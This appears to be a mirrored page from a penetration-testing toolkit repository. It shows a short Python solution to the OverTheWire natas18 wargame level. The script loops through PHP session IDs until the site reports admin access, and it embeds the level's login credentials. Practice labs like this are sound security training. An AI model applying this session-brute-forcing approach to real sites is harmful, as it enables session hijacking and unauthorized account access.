mirror of
https://github.com/autistic-symposium/sec-pentesting-toolkit.git
synced 2025-04-27 11:09:09 -04:00
35 lines
704 B
Python
35 lines
704 B
Python
#!/usr/bin/python
|
|
|
|
__author__ = "bt3gl"
|
|
__email__ = "bt33gl@gmail.com"
|
|
|
|
import requests
|
|
|
|
|
|
def brute_force_password(AUTH, URL, PAYLOAD, MAXID):
|
|
|
|
for i in range(MAXID):
|
|
HEADER ={'Cookie':'PHPSESSID=' + str(i)}
|
|
r = requests.post(URL, auth=AUTH, params=PAYLOAD, headers=HEADER)
|
|
print(i)
|
|
|
|
if "You are an admin" in r.text:
|
|
print(r.text)
|
|
print(r.url)
|
|
|
|
|
|
|
|
|
|
if __name__ == '__main__':
|
|
|
|
AUTH = ('natas18', 'xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP')
|
|
URL = 'http://natas18.natas.labs.overthewire.org/index.php?'
|
|
|
|
PAYLOAD = ({'debug': '1', 'username': 'user', 'password': 'pass'})
|
|
MAXID = 640
|
|
|
|
brute_force_password(AUTH, URL, PAYLOAD, MAXID)
|
|
|
|
|
|
|